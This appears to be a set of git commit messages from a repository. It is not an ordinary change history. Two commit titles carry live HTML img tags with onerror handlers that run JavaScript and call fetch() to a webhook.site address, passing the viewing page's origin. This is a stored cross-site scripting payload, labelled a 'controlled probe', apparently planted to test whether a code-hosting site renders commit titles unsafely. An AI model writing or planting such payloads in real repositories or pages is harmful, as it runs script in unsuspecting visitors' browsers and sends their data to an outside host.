Add controlled blob viewer markup probe

Controlled webhook delivery positive control 0910

Controlled entity commit probe <img id="commit-title-entity-xss-probe-0910" src="/definitely-missing-commit-title-entity-probe-0910" onerror="document.documentElement.dataset.commitTitleEntityProbe='0910';fetch('https://webhook.site/36a30b2a-b166-4716-92d7-a980652bae19?probe=controlled-commit-title-entity-xss-0910&origin='+encodeURIComponent(location.origin),{mode:'no-cors'})">

Controlled commit title probe <img id="commit-title-xss-probe-0910" src="/definitely-missing-commit-title-probe-0910" onerror="document.documentElement.dataset.commitTitleProbe='0910';fetch('https://webhook.site/36a30b2a-b166-4716-92d7-a980652bae19?probe=controlled-commit-title-xss-0910&origin='+encodeURIComponent(location.origin),{mode:'no-cors'})">

initial commit